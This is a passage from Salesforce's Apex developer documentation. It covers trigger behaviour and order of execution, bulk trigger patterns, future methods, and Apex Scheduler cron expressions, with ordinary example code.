error when the trigger is called in bulk from the Force.com API.

6. Click Save.
Note: Triggers are stored with an isValid flag that is set to true as long as dependent metadata has not changed
since the trigger was last compiled. If any changes are made to object names or fields that are used in the trigger,
including superficial changes such as edits to an object or field description, the isValid flag is set to false until
the Apex compiler reprocesses the code. Recompiling occurs when the trigger is next executed, or when a user re-saves
the trigger in metadata.
If a lookup field references a record that has been deleted, Salesforce clears the value of the lookup field by default.
Alternatively, you can choose to prevent records from being deleted if they’re in a lookup relationship.

The Apex Trigger Editor
When editing Visualforce or Apex, either in the Visualforce development mode footer or from Setup, an editor is available
with the following functionality:
Syntax highlighting
The editor automatically applies syntax highlighting for keywords and all functions and operators.
Search ( )
Search enables you to search for text within the current page, class, or trigger. To use search, enter a string in the Search
textbox and click Find Next.
• To replace a found search string with another string, enter the new string in the Replace textbox and click replace
to replace just that instance, or Replace All to replace that instance and all other instances of the search string that
occur in the page, class, or trigger.
• To make the search operation case sensitive, select the Match Case option.
• To use a regular expression as your search string, select the Regular Expressions option. The regular expressions
follow JavaScript's regular expression rules. A search using regular expressions can find strings that wrap over more
than one line.
If you use the replace operation with a string found by a regular expression, the replace operation can also bind regular
expression group variables ($1, $2, and so on) from the found search string. For example, to replace an <h1> tag
with an <h2> tag and keep all the attributes on the original <h1> intact, search for <h1(s+)(.*)> and replace it
with <h2$1$2>.

Go to line ( )
This button allows you to highlight a specified line number. If the line is not currently visible, the editor scrolls to that
line.
Undo ( ) and Redo ( )
Use undo to reverse an editing action and redo to recreate an editing action that was undone.

191
Invoking Apex

Triggers and Merge Statements

Font size
Select a font size from the drop-down list to control the size of the characters displayed in the editor.
Line and column position
The line and column position of the cursor is displayed in the status bar at the bottom of the editor. This can be used
with go to line (

) to quickly navigate through the editor.

Line and character count
The total number of lines and characters is displayed in the status bar at the bottom of the editor.

Triggers and Merge Statements
Merge events do not fire their own trigger events. Instead, they fire delete and update events as follows:
Deletion of losing records
A single merge operation fires a single delete event for all records that are deleted in the merge. To determine which
records were deleted as a result of a merge operation use the MasterRecordId field in Trigger.old. When a record
is deleted after losing a merge operation, its MasterRecordId field is set to the ID of the winning record. The
MasterRecordId field is only set in after delete trigger events. If your application requires special handling for
deleted records that occur as a result of a merge, you need to use the after delete trigger event.
Update of the winning record
A single merge operation fires a single update event for the winning record only. Any child records that are reparented
as a result of the merge operation do not fire triggers.
For example, if two contacts are merged, only the delete and update contact triggers fire. No triggers for records related to the
contacts, such as accounts or opportunities, fire.
The following is the order of events when a merge occurs:
1. The before delete trigger fires.
2. The system deletes the necessary records due to the merge, assigns new parent records to the child records, and sets the
MasterRecordId field on the deleted records.
3. The after delete trigger fires.
4. The system does the specific updates required for the master record. Normal update triggers apply.

Triggers and Recovered Records
The after undelete trigger event only works with recovered records—that is, records that were deleted and then recovered
from the Recycle Bin through the undelete DML statement. These are also called undeleted records.
The after undelete trigger events only run on top-level objects. For example, if you delete an Account, an Opportunity
may also be deleted. When you recover the Account from the Recycle Bin, the Opportunity is also recovered. If there is an
after undelete trigger event associated with both the Account and the Opportunity, only the Account after undelete
trigger event executes.
The after undelete trigger event only fires for the following objects:
•
•
•
•
•

Account
Asset
Campaign
Case
Contact
192
Invoking Apex

•
•
•
•
•
•
•
•
•

Triggers and Order of Execution

ContentDocument
Contract
Custom objects
Event
Lead
Opportunity
Product
Solution
Task

Triggers and Order of Execution
When you save a record with an insert, update, or upsert statement, Salesforce performs the following events in order.
Note: Before Salesforce executes these events on the server, the browser runs JavaScript validation if the record
contains any dependent picklist fields. The validation limits each dependent picklist field to its available values. No
other validation occurs on the client side.
On the server, Salesforce:
1. Loads the original record from the database or initializes the record for an upsert statement.
2. Loads the new record field values from the request and overwrites the old values.
If the request came from a standard UI edit page, Salesforce runs system validation to check the record for:
•
•
•
•

Compliance with layout-specific rules
Required values at the layout level and field-definition level
Valid field formats
Maximum field length

Salesforce doesn't perform system validation in this step when the request comes from other sources, such as an Apex
application or a SOAP API call.
3. Executes all before triggers.
4. Runs most system validation steps again, such as verifying that all required fields have a non-null value, and runs any
user-defined validation rules. The only system validation that Salesforce doesn't run a second time (when the request comes
from a standard UI edit page) is the enforcement of layout-specific rules.
5. Saves the record to the database, but doesn't commit yet.
6. Executes all after triggers.
7. Executes assignment rules.
8. Executes auto-response rules.
9. Executes workflow rules.
10. If there are workflow field updates, updates the record again.
11. If the record was updated with workflow field updates, fires before and after triggers one more time (and only one
more time), in addition to standard validations. Custom validation rules are not run again.
Note: The before and after triggers fire one more time only if something needs to be updated. If the fields
have already been set to a value, the triggers are not fired again.
12. Executes escalation rules.

193
Invoking Apex

Triggers and Order of Execution

13. If the record contains a roll-up summary field or is part of a cross-object workflow, performs calculations and updates the
roll-up summary field in the parent record. Parent record goes through save procedure.
14. If the parent record is updated, and a grand-parent record contains a roll-up summary field or is part of a cross-object
workflow, performs calculations and updates the roll-up summary field in the parent record. Grand-parent record goes
through save procedure.
15. Executes Criteria Based Sharing evaluation.
16. Commits all DML operations to the database.
17. Executes post-commit logic, such as sending email.
Note: During a recursive save, Salesforce skips steps 7 through 14.

Additional Considerations
Please note the following when working with triggers.
•

•

•

The order of execution isn’t guaranteed when having multiple triggers for the same object due to the same event. For
example, if you have two before insert triggers for Case, and a new Case record is inserted that fires the two triggers, the
order in which these triggers fire isn’t guaranteed.
When Enable Validation and Triggers from Lead Convert is selected, if the lead conversion creates an
opportunity and the opportunity has Apex before triggers associated with it, the triggers run immediately after the opportunity
is created, before the opportunity contact role is created. For more information, see “Customizing Lead Settings” in the
Salesforce online help.
If you are using before triggers to set Stage and Forecast Category for an opportunity record, the behavior is as
follows:
◊ If you set Stage and Forecast Category, the opportunity record contains those exact values.
◊ If you set Stage but not Forecast Category, the Forecast Category value on the opportunity record defaults
to the one associated with trigger Stage.
◊ If you reset Stage to a value specified in an API call or incoming from the user interface, the Forecast Category
value should also come from the API call or user interface. If no value for Forecast Category is specified and the
incoming Stage is different than the trigger Stage, the Forecast Category defaults to the one associated with
trigger Stage. If the trigger Stage and incoming Stage are the same, the Forecast Category is not defaulted.

•

If you are cloning an opportunity with products, the following events occur in order:
1. The parent opportunity is saved according to the list of events shown above.
2. The opportunity products are saved according to the list of events shown above.
Note: If errors occur on an opportunity product, you must return to the opportunity and fix the errors before
cloning.
If any opportunity products contain unique custom fields, you must null them out before cloning the opportunity.

•

Trigger.old contains a version of the objects before the specific update that fired the trigger. However, there is an
exception. When a record is updated and subsequently triggers a workflow rule field update, Trigger.old in the last

update trigger won’t contain the version of the object immediately prior to the workflow update, but the object before the
initial update was made. For example, suppose an existing record has a number field with an initial value of 1. A user
updates this field to 10, and a workflow rule field update fires and increments it to 11. In the update trigger that fires after
the workflow field update, the field value of the object obtained from Trigger.old is the original value of 1, rather than
10, as would typically be the case.

194
Invoking Apex

Operations that Don't Invoke Triggers

Operations that Don't Invoke Triggers
Triggers are only invoked for data manipulation language (DML) operations that are initiated or processed by the Java
application server. Consequently, some system bulk operations don't currently invoke triggers. Some examples include:
•
•
•
•
•
•
•
•
•
•
•
•

Cascading delete operations. Records that did not initiate a delete don't cause trigger evaluation.
Cascading updates of child records that are reparented as a result of a merge operation
Mass campaign status changes
Mass division transfers
Mass address updates
Mass approval request transfers
Mass email actions
Modifying custom field data types
Renaming or replacing picklists
Managing price books
Changing a user's default division with the transfer division option checked
Changes to the following objects:
◊ BrandTemplate
◊ MassEmailTemplate
◊ Folder

•

Update account triggers don't fire before or after a business account record type is changed to person account (or a person
account record type is changed to business account.)
Note: Inserts, updates, and deletes on person accounts fire account triggers, not contact triggers.

Before triggers associated with the following operations are only fired during lead conversion if validation and triggers for lead
conversion are enabled in the organization:
•
•

insert of accounts, contacts, and opportunities
update of accounts and contacts

Opportunity triggers are not fired when the account owner changes as a result of the associated opportunity's owner changing.
When you modify an opportunity product on an opportunity, or when an opportunity product schedule changes an opportunity
product, even if the opportunity product changes the opportunity, the before and after triggers and the validation rules
don't fire for the opportunity. However, roll-up summary fields do get updated, and workflow rules associated with the
opportunity do run.
The getContent and getContentAsPDF PageReference methods aren't allowed in triggers.
Note the following for the ContentVersion object:
•

Content pack operations involving the ContentVersion object, including slides and slide autorevision, don't invoke triggers.
Note: Content packs are revised when a slide inside of the pack is revised.

•

Values for the TagCsv and VersionData fields are only available in triggers if the request to create or update
ContentVersion records originates from the API.

195
Invoking Apex

•

Entity and Field Considerations in Triggers

You can't use before or after delete triggers with the ContentVersion object.

Entity and Field Considerations in Triggers
QuestionDataCategorySelection Entity Not Available in After Insert Triggers
The after insert trigger that fires after inserting one or more Question records doesn’t have access to the
QuestionDataCategorySelection records that are associated with the inserted Questions. For example, the following
query doesn’t return any results in an after insert trigger:
QuestionDataCategorySelection[] dcList =
[select Id,DataCategoryName from QuestionDataCategorySelection where ParentId IN :questions];

Fields Not Updateable in Before Triggers
Some field values are set during the system save operation, which occurs after before triggers have fired. As a result, these
fields cannot be modified or accurately detected in before insert or before update triggers. Some examples include:
•
•
•
•
•
•
•
•
•
•
•
•
•
•

Task.isClosed
Opportunity.amount*
Opportunity.ForecastCategory
Opportunity.isWon
Opportunity.isClosed
Contract.activatedDate
Contract.activatedById
Case.isClosed
Solution.isReviewed
Id (for all records)**
createdDate (for all records)**
lastUpdated (for all records)
Event.WhoId (when Shared Activities is enabled)
Task.WhoId (when Shared Activities is enabled)

* When Opportunity has no lineitems, Amount can be modified by a before trigger.
** Id and createdDate can be detected in before update triggers, but cannot be modified.
Fields Not Updateable in After Triggers
The following fields can’t be updated by after insert or after update triggers.
•
•

Event.WhoId
Task.WhoId

Operations Not Supported in Insert and Update Triggers
The following operations aren’t supported in insert and update triggers.
•
•

Manipulating an activity relation through the TaskRelation or EventRelation object, if Shared Activities is enabled
Manipulating an invitee relation on a group event through the Invitee object, whether or not Shared Activities is enabled

Entities Not Supported in Update Triggers
Certain objects can’t be updated, and therefore, shouldn’t have before update and after update triggers.

196
Invoking Apex

•
•

Trigger Exceptions

FeedItem
FeedComment

Entities Not Supported in After Undelete Triggers
Certain objects can’t be restored, and therefore, shouldn’t have after undelete triggers.
•
•
•
•

CollaborationGroup
CollaborationGroupMember
FeedItem
FeedComment

Additional Considerations for Chatter Objects
Things to consider about FeedItem and FeedComment triggers:
•
•
•

Only FeedItems of Type TextPost, LinkPost, and ContentPost can be inserted, and therefore invoke the before
or after insert trigger. User status updates don't cause the FeedItem triggers to fire.
While FeedPost objects were supported for API versions 18.0, 19.0, and 20.0, don't use any insert or delete triggers saved
against versions prior to 21.0.
For FeedItem the following fields are not available in the before insert trigger:
◊ ContentSize
◊ ContentType
In addition, the ContentData field is not available in any delete trigger.

•

Triggers on FeedItem objects run before their attachment information is saved, which means that
ConnectApi.FeedItem.attachment information may not be available in the trigger.
The attachment information may not be available from these methods: ConnectApi.ChatterFeeds.getFeedItem,
ConnectApi.ChatterFeeds.getFeedPoll, ConnectApi.ChatterFeeds.postFeedItem,
ConnectApi.ChatterFeeds.shareFeedItem, and ConnectApi.ChatterFeeds.voteOnFeedPoll.

•
•

For FeedComment before insert and after insert triggers, the fields of a ContentVersion associated with the
FeedComment (obtained through FeedComment.RelatedRecordId) are not available.
Apex code uses additional security when executing in a Chatter context. To post to a private group, the user running the
code must be a member of that group. If the running user isn't a member, you can set the CreatedById field to be a
member of the group in the FeedItem record.

Note the following for the CollaborationGroup and CollaborationGroupMember objects:
•

When CollaborationGroupMember is updated, CollaborationGroup is automatically updated as well to ensure that the
member count is correct. As a result, when CollaborationGroupMember update or delete triggers run,
CollaborationGroup update triggers run as well.

Trigger Exceptions
Triggers can be used to prevent DML operations from occurring by calling the addError() method on a record or field.
When used on Trigger.new records in insert and update triggers, and on Trigger.old records in delete triggers,
the custom error message is displayed in the application interface and logged.
Note: Users experience less of a delay in response time if errors are added to before triggers.

A subset of the records being processed can be marked with the addError() method:

197
Invoking Apex

•
•

Trigger and Bulk Request Best Practices

If the trigger was spawned by a DML statement in Apex, any one error results in the entire operation rolling back. However,
the runtime engine still processes every record in the operation to compile a comprehensive list of errors.
If the trigger was spawned by a bulk DML call in the Force.com API, the runtime engine sets aside the bad records and
attempts to do a partial save of the records that did not generate errors. See Bulk DML Exception Handling on page 394.

If a trigger ever throws an unhandled exception, all records are marked with an error and no further processing takes place.

See Also:
addError(String)
field.addError(String)

Trigger and Bulk Request Best Practices
A common development pitfall is the assumption that trigger invocations never include more than one record. Apex triggers
are optimized to operate in bulk, which, by definition, requires developers to write logic that supports bulk operations.
This is an example of a flawed programming pattern. It assumes that only one record is pulled in during a trigger invocation.
While this might support most user interface events, it does not support bulk operations invoked through the SOAP API or
Visualforce.
trigger MileageTrigger on Mileage__c (before insert, before update) {
User c = [SELECT Id FROM User WHERE mileageid__c = Trigger.new[0].id];
}

This is another example of a flawed programming pattern. It assumes that less than 100 records are pulled in during a trigger
invocation. If more than 20 records are pulled into this request, the trigger would exceed the SOQL query limit of 100 SELECT
statements:
trigger MileageTrigger on Mileage__c (before insert, before update) {
for(mileage__c m : Trigger.new){
User c = [SELECT Id FROM user WHERE mileageid__c = m.Id];
}
}

For more information on governor limits, see Understanding Execution Governors and Limits on page 236.
This example demonstrates the correct pattern to support the bulk nature of triggers while respecting the governor limits:
Trigger MileageTrigger on Mileage__c (before insert, before update) {
Set<ID> ids = Trigger.new.keySet();
List<User> c = [SELECT Id FROM user WHERE mileageid__c in :ids];
}

This pattern respects the bulk nature of the trigger by passing the Trigger.new collection to a set, then using the set in a
single SOQL query. This pattern captures all incoming records within the request while limiting the number of SOQL queries.
Best Practices for Designing Bulk Programs
The following are the best practices for this design pattern:
•

Minimize the number of data manipulation language (DML) operations by adding records to collections and performing
DML operations against these collections.

198
Invoking Apex

•

Asynchronous Apex

Minimize the number of SOQL statements by preprocessing records and generating sets, which can be placed in single
SOQL statement used with the IN clause.

See Also:
Developing Code in the Cloud

Asynchronous Apex
Future Methods
A future method runs in the background, asynchronously. You can call a future method for executing long-running operations,
such as callouts to external Web services or any operation you’d like to run in its own thread, on its own time. You can also
make use of future methods to isolate DML operations on different sObject types to prevent the mixed DML error. Each
future method is queued and executes when system resources become available. That way, the execution of your code doesn’t
have to wait for the completion of a long-running operation. A benefit of using future methods is that some governor limits
are higher, such as SOQL query limits and heap size limits.
To define a future method, simply annotate it with the future annotation, as follows.
global class FutureClass
{
@future
public static void myFutureMethod()
{
// Perform some operations
}
}

Methods with the future annotation must be static methods, and can only return a void type. The specified parameters must
be primitive data types, arrays of primitive data types, or collections of primitive data types. Methods with the future
annotation cannot take sObjects or objects as arguments.
The reason why sObjects can’t be passed as arguments to future methods is because the sObject might change between the
time you call the method and the time it executes. In this case, the future method will get the old sObject values and might
overwrite them. To work with sObjects that already exist in the database, pass the sObject ID instead (or collection of IDs)
and use the ID to perform a query for the most up-to-date record. The following example shows how to do so with a list of
IDs.
global class FutureMethodRecordProcessing
{
@future
public static void processRecords(List<ID> recordIds)
{
// Get those records based on the IDs
List<Account> accts = [SELECT Name FROM Account WHERE Id IN :recordIds];
// Process records
}
}

The following is a skeletal example of a future method that makes a callout to an external service. Notice that the annotation
takes an extra parameter (callout=true) to indicate that callouts are allowed. To learn more about callouts, see Invoking
Callouts Using Apex.
global class FutureMethodExample
{
@future(callout=true)

199
Invoking Apex

Future Methods

public static void getStockQuotes(String acctName)
{
// Perform a callout to an external service
}
}

Inserting a user with a non-null role must be done in a separate thread from DML operations on other sObjects. This example
uses a future method to achieve this. The future method defined in the Util class performs the insertion of a user with a role.
The main method inserts an account and calls this future method.
This is the definition of the Util class, which contains the future method for inserting a user with a non-null role.
public class Util {
@future
public static void insertUserWithRole(
String uname, String al, String em, String lname) {
Profile p = [SELECT Id FROM Profile WHERE Name='Standard User'];
UserRole r = [SELECT Id FROM UserRole WHERE Name='COO'];
// Create new user with a non-null user role ID
User u = new User(alias = al, email=em,
emailencodingkey='UTF-8', lastname=lname,
languagelocalekey='en_US',
localesidkey='en_US', profileid = p.Id, userroleid = r.Id,
timezonesidkey='America/Los_Angeles',
username=uname);
insert u;
}
}

This is the class containing the main method that calls the future method defined previously.
public class MixedDMLFuture {
public static void useFutureMethod() {
// First DML operation
Account a = new Account(Name='Acme');
insert a;
// This next operation (insert a user with a role)
// can't be mixed with the previous insert unless
// it is within a future method.
// Call future method to insert a user with a role.
Util.insertUserWithRole(
'mruiz@awcomputing.com', 'mruiz',
'mruiz@awcomputing.com', 'Ruiz');
}
}

You can invoke future methods the same way you invoke any other method. However, a future method can’t invoke another
future method.
Methods with the future annotation have the following limits:
•

No more than 10 method calls per Apex invocation
Note: Asynchronous calls, such as @future or executeBatch, called in a startTest, stopTest block, do
not count against your limits for the number of queued jobs.

•

The maximum number of future method invocations per a 24-hour period is 250,000 or the number of user licenses in
your organization multiplied by 200, whichever is greater. This is an organization-wide limit and is shared with all other
asynchronous Apex: batch Apex and scheduled Apex. The licenses that count toward this limit are full Salesforce user

200
Invoking Apex

Apex Scheduler

licenses and Force.com App Subscription user licenses. Chatter Free, Chatter customer users, Customer Portal User, and
partner portal User licenses aren’t included.
Note: Future method jobs queued before a Salesforce service maintenance downtime remain in the queue. After
service downtime ends and when system resources become available, the queued future method jobs are executed. If
a future method was running when downtime occurred, the future method execution is rolled back and restarted after
the service comes back up.
Testing Future Methods
To test methods defined with the future annotation, call the class containing the method in a startTest(), stopTest() code
block. All asynchronous calls made after the startTest method are collected by the system. When stopTest is executed,
all asynchronous processes are run synchronously.
For our example, this is how the test class looks.
@isTest
private class MixedDMLFutureTest {
@isTest static void test1() {
User thisUser = [SELECT Id FROM User WHERE Id = :UserInfo.getUserId()];
// System.runAs() allows mixed DML operations in test context
System.runAs(thisUser) {
// startTest/stopTest block to run future method synchronously
Test.startTest();
MixedDMLFuture.useFutureMethod();
Test.stopTest();
}
// The future method will run after Test.stopTest();
// Verify account is inserted
Account[] accts = [SELECT Id from Account WHERE Name='Acme'];
System.assertEquals(1, accts.size());
// Verify user is inserted
User[] users = [SELECT Id from User where username='mruiz@awcomputing.com'];
System.assertEquals(1, users.size());
}
}

Apex Scheduler
To invoke Apex classes to run at specific times, first implement the Schedulable interface for the class, then specify the
schedule using either the Schedule Apex page in the Salesforce user interface, or the System.schedule method.
Important: Salesforce schedules the class for execution at the specified time. Actual execution may be delayed based
on service availability.
You can only have 100 scheduled Apex jobs at one time. You can evaluate your current count by viewing the Scheduled
Jobs page in Salesforce and creating a custom view with a type filter equal to “Scheduled Apex”. You can also
programmatically query the CronTrigger and CronJobDetail objects to get the count of Apex scheduled jobs.
Use extreme care if you’re planning to schedule a class from a trigger. You must be able to guarantee that the trigger
won’t add more scheduled classes than the 100 that are allowed. In particular, consider API bulk updates, import
wizards, mass record changes through the user interface, and all cases where more than one record can be updated at
a time.
You cannot update an Apex class if there are one or more active scheduled jobs for that class.

201
Invoking Apex

Apex Scheduler

Implementing the Schedulable Interface
To schedule an Apex class to run at regular intervals, first write an Apex class that implements the Salesforce-provided interface
Schedulable.
The scheduler runs as system—all classes are executed, whether or not the user has permission to execute the class.
To monitor or stop the execution of a scheduled Apex job using the Salesforce user interface, from Setup, click Monitoring
> Scheduled Jobs or Jobs > Scheduled Jobs.
The Schedulable interface contains one method that must be implemented, execute.
global void execute(SchedulableContext sc){}

The implemented method must be declared as global or public.
Use this method to instantiate the class you want to schedule.
Tip: Though it's possible to do additional processing in the execute method, we recommend that all processing
take place in a separate class.
The following example implements the Schedulable interface for a class called mergeNumbers:
global class scheduledMerge implements Schedulable {
global void execute(SchedulableContext SC) {
mergeNumbers M = new mergeNumbers();
}
}

The following example uses the System.Schedule method to implement the above class.
scheduledMerge m = new scheduledMerge();
String sch = '20 30 8 10 2 ?';
String jobID = system.schedule('Merge Job', sch, m);

You can also use the Schedulable interface with batch Apex classes. The following example implements the Schedulable
interface for a batch Apex class called batchable:
global class scheduledBatchable implements Schedulable {
global void execute(SchedulableContext sc) {
batchable b = new batchable();
database.executebatch(b);
}
}

An easier way to schedule a batch job is to call the System.scheduleBatch method without having to implement the
Schedulable interface.
Use the SchedulableContext object to keep track of the scheduled job once it's scheduled. The SchedulableContext
getTriggerID method returns the ID of the CronTrigger object associated with this scheduled job as a string. You can
query CronTrigger to track the progress of the scheduled job.
To stop execution of a job that was scheduled, use the System.abortJob method with the ID returned by the getTriggerID
method.

202
Invoking Apex

Apex Scheduler

Tracking the Progress of a Scheduled Job Using Queries
After the Apex job has been scheduled, you can obtain more information about it by running a SOQL query on CronTrigger
and retrieving some fields, such as the number of times the job has run, and the date and time when the job is scheduled to
run again, as shown in this example.
CronTrigger ct =
[SELECT TimesTriggered, NextFireTime
FROM CronTrigger WHERE Id = :jobID];

The previous example assumes you have a jobID variable holding the ID of the job. The System.schedule method returns
the job ID. If you’re performing this query inside the execute method of your schedulable class, you can obtain the ID of
the current job by calling getTriggerId on the SchedulableContext argument variable. Assuming this variable name is sc,
the modified example becomes:
CronTrigger ct =
[SELECT TimesTriggered, NextFireTime
FROM CronTrigger WHERE Id = :sc.getTriggerId()];

You can also get the job’s name and the job’s type from the CronJobDetail record associated with the CronTrigger record.
To do so, use the CronJobDetail relationship when performing a query on CronTrigger. This example retrieves the most
recent CronTrigger record with the job name and type from CronJobDetail.
CronTrigger job =
[SELECT Id, CronJobDetail.Id, CronJobDetail.Name, CronJobDetail.JobType
FROM CronTrigger ORDER BY CreatedDate DESC LIMIT 1];

Alternatively, you can query CronJobDetail directly to get the job’s name and type. This next example gets the job’s name and
type for the CronTrigger record queried in the previous example. The corresponding CronJobDetail record ID is obtained by
the CronJobDetail.Id expression on the CronTrigger record.
CronJobDetail ctd =
[SELECT Id, Name, JobType
FROM CronJobDetail WHERE Id = :job.CronJobDetail.Id];

To obtain the total count of all Apex scheduled jobs, excluding all other scheduled job types, perform the following query.
Note the value '7' is specified for the job type, which corresponds to the scheduled Apex job type.
SELECT COUNT() FROM CronTrigger WHERE CronJobDetail.JobType = '7'

Testing the Apex Scheduler
The following is an example of how to test using the Apex scheduler.
The System.schedule method starts an asynchronous process. This means that when you test scheduled Apex, you must
ensure that the scheduled job is finished before testing against the results. Use the Test methods startTest and stopTest
around the System.schedule method to ensure it finishes before continuing your test. All asynchronous calls made after
the startTest method are collected by the system. When stopTest is executed, all asynchronous processes are run
synchronously. If you don’t include the System.schedule method within the startTest and stopTest methods, the
scheduled job executes at the end of your test method for Apex saved using Salesforce.com API version 25.0 and later, but
not in earlier versions.
This is the class to be tested.
global class TestScheduledApexFromTestMethod implements Schedulable {
// This test runs a scheduled job at midnight Sept. 3rd. 2022
public static String CRON_EXP = '0 0 0 3 9 ? 2022';

203
Invoking Apex

Apex Scheduler

global void execute(SchedulableContext ctx) {
CronTrigger ct = [SELECT Id, CronExpression, TimesTriggered, NextFireTime
FROM CronTrigger WHERE Id = :ctx.getTriggerId()];
System.assertEquals(CRON_EXP, ct.CronExpression);
System.assertEquals(0, ct.TimesTriggered);
System.assertEquals('2022-09-03 00:00:00', String.valueOf(ct.NextFireTime));
Account a = [SELECT Id, Name FROM Account WHERE Name =
'testScheduledApexFromTestMethod'];
a.name = 'testScheduledApexFromTestMethodUpdated';
update a;
}
}

The following tests the above class:
@istest
class TestClass {
static testmethod void test() {
Test.startTest();
Account a = new Account();
a.Name = 'testScheduledApexFromTestMethod';
insert a;
// Schedule the test job
String jobId = System.schedule('testBasicScheduledApex',
TestScheduledApexFromTestMethod.CRON_EXP,
new TestScheduledApexFromTestMethod());
// Get the information from the CronTrigger API object
CronTrigger ct = [SELECT Id, CronExpression, TimesTriggered,
NextFireTime
FROM CronTrigger WHERE id = :jobId];
// Verify the expressions are the same
System.assertEquals(TestScheduledApexFromTestMethod.CRON_EXP,
ct.CronExpression);
// Verify the job has not run
System.assertEquals(0, ct.TimesTriggered);
// Verify the next time the job will run
System.assertEquals('2022-09-03 00:00:00',
String.valueOf(ct.NextFireTime));
System.assertNotEquals('testScheduledApexFromTestMethodUpdated',
[SELECT id, name FROM account WHERE id = :a.id].name);
Test.stopTest();
System.assertEquals('testScheduledApexFromTestMethodUpdated',
[SELECT Id, Name FROM Account WHERE Id = :a.Id].Name);
}
}

Using the System.Schedule Method
After you implement a class with the Schedulable interface, use the System.Schedule method to execute it. The scheduler
runs as system—all classes are executed, whether or not the user has permission to execute the class.
Note: Use extreme care if you’re planning to schedule a class from a trigger. You must be able to guarantee that the
trigger won’t add more scheduled classes than the 100 that are allowed. In particular, consider API bulk updates,

204
Invoking Apex

Apex Scheduler

import wizards, mass record changes through the user interface, and all cases where more than one record can be
updated at a time.
The System.Schedule method takes three arguments: a name for the job, an expression used to represent the time and
date the job is scheduled to run, and the name of the class. This expression has the following syntax:
Seconds Minutes Hours Day_of_month Month Day_of_week optional_year

Note: Salesforce schedules the class for execution at the specified time. Actual execution may be delayed based on
service availability.
The System.Schedule method uses the user's timezone for the basis of all schedules.
The following are the values for the expression:
Name

Values

Special Characters

Seconds

0–59

None

Minutes

0–59

None

Hours

0–23

, - * /

Day_of_month

1–31

, - * ? / L W

Month

1–12 or the following:
• JAN
• FEB
• MAR
• APR
• MAY
• JUN
• JUL
• AUG
• SEP
• OCT
• NOV
• DEC

, - * /

Day_of_week

1–7 or the following:
• SUN
• MON
• TUE
• WED
• THU
• FRI
• SAT

, - * ? / L #

optional_year

null or 1970–2099

, - * /

The special characters are defined as follows:

205
Invoking Apex

Apex Scheduler

Special Character

Description

,

Delimits values. For example, use JAN, MAR, APR to specify more than one
month.

-

Specifies a range. For example, use JAN-MAR to specify more than one month.

*

Specifies all values. For example, if Month is specified as *, the job is scheduled
for every month.

?

Specifies no specific value. This is only available for Day_of_month and
Day_of_week, and is generally used when specifying a value for one and not
the other.

/

Specifies increments. The number before the slash specifies when the intervals
will begin, and the number after the slash is the interval amount. For example,
if you specify 1/5 for Day_of_month, the Apex class runs every fifth day of the
month, starting on the first of the month.

L

Specifies the end of a range (last). This is only available for Day_of_month and
Day_of_week. When used with Day of month, L always means the last day
of the month, such as January 31, February 28 for leap years, and so on. When
used with Day_of_week by itself, it always means 7 or SAT. When used with
a Day_of_week value, it means the last of that type of day in the month. For
example, if you specify 2L, you are specifying the last Monday of the month.
Do not use a range of values with L as the results might be unexpected.

W

Specifies the nearest weekday (Monday-Friday) of the given day. This is only
available for Day_of_month. For example, if you specify 20W, and the 20th is
a Saturday, the class runs on the 19th. If you specify 1W, and the first is a
Saturday, the class does not run in the previous month, but on the third, which
is the following Monday.
Tip: Use the L and W together to specify the last weekday of the month.

#

Specifies the nth day of the month, in the format weekday#day_of_month.
This is only available for Day_of_week. The number before the # specifies
weekday (SUN-SAT). The number after the # specifies the day of the month.
For example, specifying 2#2 means the class runs on the second Monday of
every month.

The following are some examples of how to use the expression.
Expression

Description

0 0 13 * * ?

Class runs every day at 1 PM.

0 0 22 ? * 6L

Class runs the last Friday of every month at 10 PM.

0 0 10 ? * MON-FRI

Class runs Monday through Friday at 10 AM.

0 0 20 * * ? 2010

Class runs every day at 8 PM during the year 2010.

206
Invoking Apex

Batch Apex

In the following example, the class proschedule implements the Schedulable interface. The class is scheduled to run at
8 AM, on the 13th of February.
proschedule p = new proschedule();
String sch = '0 0 8 13 2 ?';
system.schedule('One Time Pro', sch, p);

Using the System.scheduleBatch Method for Batch Jobs
You can call the System.scheduleBatch method to schedule a batch job to run once at a specified time in the future. This
method is available only for batch classes and doesn’t require the implementation of the Schedulable interface. This makes
it easy to schedule a batch job for one execution. For more details on how to use the System.scheduleBatch method, see
Using the System.scheduleBatch Method.
Apex Scheduler Limits
•

You can only have 100 scheduled Apex jobs at one time. You can evaluate your current count by viewing the Scheduled
Jobs page in Salesforce and creating a custom view with a type filter equal to “Scheduled Apex”. You can also
programmatically query the CronTrigger and CronJobDetail objects to get the count of Apex scheduled jobs.

•

The maximum number of scheduled Apex executions per a 24-hour period is 250,000 or the number of user licenses in
your organization multiplied by 200, whichever is greater. This is an organization-wide limit and is shared with all other
asynchronous Apex: batch Apex and future methods. The licenses that count toward this limit are full Salesforce user
licenses or Force.com App Subscription user licenses. Chatter Free, Chatter customer users, Customer Portal User, and
partner portal User licenses aren’t included.

Apex Scheduler Best Practices
•
•

•
•
•

•

Salesforce schedules the class for execution at the specified time. Actual execution may be delayed based on service availability.
Use extreme care if you’re planning to schedule a class from a trigger. You must be able to guarantee that the trigger won’t
add more scheduled classes than the 100 that are allowed. In particular, consider API bulk updates, import wizards, mass
record changes through the user interface, and all cases where more than one record can be updated at a time.
Though it's possible to do additional processing in the execute method, we recommend that all processing take place in
a separate class.
You can't use the getContent and getContentAsPDF PageReference methods in scheduled Apex.
Synchronous Web service callouts are not supported from scheduled Apex. To be able to make callouts, make an
asynchronous callout by placing the callout in a method annotated with @future(callout=true) and call this method
from scheduled Apex. However, if your scheduled Apex executes a batch job, callouts are supported from the batch class.
See Using Batch Apex.
Apex jobs scheduled to run during a Salesforce service maintenance downtime will be scheduled to run after the service
comes back up, when system resources become available. If a scheduled Apex job was running when downtime occurred,
the job is rolled back and scheduled again after the service comes back up. Note that after major service upgrades, there
might be longer delays than usual for starting scheduled Apex jobs because of system usage spikes.

See Also:
Schedulable Interface

Batch Apex
A developer can now employ batch Apex to build complex, long-running processes on the Force.com platform. For example,
a developer could build an archiving solution that runs on a nightly basis, looking for records past a certain date and adding
them to an archive. Or a developer could build a data cleansing operation that goes through all Accounts and Opportunities
on a nightly basis and updates them if necessary, based on custom criteria.

207
Invoking Apex

Batch Apex

Batch Apex is exposed as an interface that must be implemented by the developer. Batch jobs can be programmatically invoked
at runtime using Apex.
You can only have five queued or active batch jobs at one time. You can evaluate your current count by viewing the Scheduled
Jobs page in Salesforce or programmatically using SOAP API to query the AsyncapexJob object.
Warning: Use extreme care if you are planning to invoke a batch job from a trigger. You must be able to guarantee
